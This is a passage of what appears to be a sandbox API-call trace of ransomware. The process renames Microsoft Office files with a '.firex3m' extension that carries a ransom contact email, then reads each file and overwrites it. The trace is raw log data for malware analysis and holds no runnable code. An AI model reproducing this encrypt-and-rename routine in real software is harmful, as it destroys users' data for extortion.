lpBuffer=0x7382588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382588*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.875] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.875] WriteFile (in: hFile=0x410, lpBuffer=0x738d987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d987*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.875] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.876] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.876] CloseHandle (hObject=0x410) returned 1 [0166.876] GetProcessHeap () returned 0x630000 [0166.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382588 | out: hHeap=0x630000) returned 1 [0166.883] GetProcessHeap () returned 0x630000 [0166.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377158 | out: hHeap=0x630000) returned 1 [0166.884] GetProcessHeap () returned 0x630000 [0166.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0166.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x296a1174, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xccc7496, dwReserved1=0x7377150, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0166.885] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0166.885] Sleep (dwMilliseconds=0x1) [0167.689] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap", len=0x65 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap") returned 1 [0167.689] GetProcessHeap () returned 0x630000 [0167.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b70) returned 0x707d3d0 [0167.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\powerviewres.lv.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0167.715] CloseHandle (hObject=0x3f8) returned 1 [0167.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\powerviewres.lv.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\powerviewres.lv.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0167.717] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0167.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\powerviewres.lv.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0167.717] GetProcessHeap () returned 0x630000 [0167.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x729af40 [0167.718] GetProcessHeap () returned 0x630000 [0167.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x710d220 [0167.719] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.719] ReadFile (in: hFile=0x3f8, lpBuffer=0x729af40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x729af40*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.555] GetProcessHeap () returned 0x630000 [0176.555] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0176.556] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.556] WriteFile (in: hFile=0x3f8, lpBuffer=0x710d220*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710d220*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.556] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.556] WriteFile (in: hFile=0x3f8, lpBuffer=0x711861f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711861f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.681] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.681] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.681] CloseHandle (hObject=0x3f8) returned 1 [0178.682] GetProcessHeap () returned 0x630000 [0178.682] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710d220 | out: hHeap=0x630000) returned 1 [0178.682] GetProcessHeap () returned 0x630000 [0178.682] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729af40 | out: hHeap=0x630000) returned 1 [0178.686] GetProcessHeap () returned 0x630000 [0178.686] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0178.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x30744d26, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f8b5, dwReserved0=0xccc7496, dwReserved1=0x729af38, cFileName="PowerViewRes.lv.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d52c0 [0178.686] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0178.687] Sleep (dwMilliseconds=0x1) [0181.949] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr", len=0x54 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr") returned 1 [0181.949] GetProcessHeap () returned 0x630000 [0181.949] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a9c) returned 0x707d3d0 [0181.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0181.950] CloseHandle (hObject=0x6f8) returned 1 [0181.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0181.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0181.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0181.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f7c0, dwReserved0=0x7408cab6, dwReserved1=0x690066, cFileName="TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE89A7~1.FIR")) returned 0x6d5280 [0181.952] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0181.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0181.952] GetProcessHeap () returned 0x630000 [0181.952] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0181.952] GetProcessHeap () returned 0x630000 [0181.952] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0181.952] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.952] ReadFile (in: hFile=0x6f8, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.953] GetProcessHeap () returned 0x630000 [0187.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0187.953] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.954] WriteFile (in: hFile=0x6f8, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.954] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.954] WriteFile (in: hFile=0x6f8, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.960] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.960] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.960] CloseHandle (hObject=0x6f8) returned 1 [0189.960] GetProcessHeap () returned 0x630000 [0189.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0189.961] GetProcessHeap () returned 0x630000 [0189.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0189.961] GetProcessHeap () returned 0x630000 [0189.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0189.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x372b548f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3f7e4, dwReserved0=0xccc7496, dwReserved1=0x6fdcf30, cFileName="TellMeOutlookMeetingReqSend.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE89A7~1.FIR")) returned 0x6d5280 [0189.961] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.961] Sleep (dwMilliseconds=0x1) [0191.984] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX", len=0x50 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX") returned 1 [0191.984] GetProcessHeap () returned 0x630000 [0191.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45c0) returned 0x74656a8 [0191.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_u.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0193.626] CloseHandle (hObject=0x6ec) returned 1 [0193.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_u.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_u.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c5b962, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x51af, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFME~2.FIR")) returned 0x6d5340 [0195.559] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0195.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_u.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0195.559] GetProcessHeap () returned 0x630000 [0195.559] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x51c1) returned 0x73108f8 [0195.560] GetProcessHeap () returned 0x630000 [0195.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x51c1) returned 0x70a7c70 [0195.560] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.560] ReadFile (in: hFile=0x6ec, lpBuffer=0x73108f8, nNumberOfBytesToRead=0x51a0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73108f8*, lpNumberOfBytesRead=0x3e3ff0c*=0x51a0, lpOverlapped=0x0) returned 1 [0196.202] GetProcessHeap () returned 0x630000 [0196.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0196.202] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x6ec, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0x51a0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x3e3ff0c*=0x51a0, lpOverlapped=0x0) returned 1 [0196.202] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x6ec, lpBuffer=0x70ace0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ace0f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0196.203] CloseHandle (hObject=0x6ec) returned 1 [0196.203] GetProcessHeap () returned 0x630000 [0196.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0196.210] GetProcessHeap () returned 0x630000 [0196.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73108f8 | out: hHeap=0x630000) returned 1 [0196.211] GetProcessHeap () returned 0x630000 [0196.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0196.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3ae57c99, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x51d3, dwReserved0=0xccc7496, dwReserved1=0x73108f0, cFileName="WRKFME_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFME~2.FIR")) returned 0x6d5000 [0196.294] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.294] Sleep (dwMilliseconds=0x1) [0196.324] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt", len=0x4e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt") returned 1 [0196.324] GetProcessHeap () returned 0x630000 [0196.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4770) returned 0x7133a90 [0196.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0196.338] CloseHandle (hObject=0x68c) returned 1 [0196.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 